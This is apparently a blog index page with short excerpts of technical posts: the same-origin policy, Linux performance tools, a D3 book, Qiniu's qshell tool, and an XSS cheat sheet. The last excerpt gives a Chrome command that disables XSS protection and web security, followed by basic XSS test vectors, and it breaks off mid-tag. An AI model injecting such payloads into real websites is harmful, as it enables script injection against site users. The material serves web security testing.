Same-Origin Policy and Cross-Origin Access
· β˜• 2 min read
1. Same-Origin Policy The same-origin policy is the cornerstone of browser security. The definition of same-origin covers three aspects: Same protocol Same domain Same port Scope of the restrictions: Cookie, LocalStorage, and IndexDB cannot be read The DOM cannot be obtained AJAX requests cannot be sent Simply put, two URLs whose protocol, domain, and port differ in any way are not allowed to communicate with each other, and the scope covers reading each other’s cookies and DOM and sending AJAX requests.

Linux Performance Command Tools
· β˜• 1 min read
There are many performance tools on the Linux platform, enough to make your head spin, but long-term exploration and experience have shown that the most useful ones are still those time-tested, simple little utilities. Below are the command-line tools collected from system performance expert Brendan D. Gregg’s talk on Linux performance (Linux Performance Tools).

Interactive Data Visualization for the Web
· β˜• 1 min read
Subtitle: Using D3 to Build Interactive Charts Original title: Interactive Data Visualization for the Web Author: [US] Scott Murray Translator: Li Songfeng Publisher: Posts & Telecom Press Publication year: 2013-6 ISBN: 9787115320117

Qiniu Storage Batch Operations - qshell
· β˜• 3 min read
1. Download the Tool - qshell qshell is a command-line tool built on the public APIs documented by Qiniu to make it easy for developers to test and use Qiniu API services, written in the Go language. The tool currently bundles convenient commands for Qiniu Storage, CDN, and other methods commonly used in Qiniu services.

XSS Cheat Sheet
· β˜• 9 min read
If you use the Chrome browser to test XSS vectors, disable the browser’s XSS interception first. First, close all Chrome browser processes, then run: 1 chrome.exe -args --disable-xss-auditor --args --disable-web-security Enter non-web-safe mode. 1. Injecting HTML/JavaScript with the <> tags 1 <script>alert('XSS')</script> 1 '';!--"<XSS>=&{()} 1 2 //The quotes around SRC can be omitted <SCRIPT SRC=http://ha.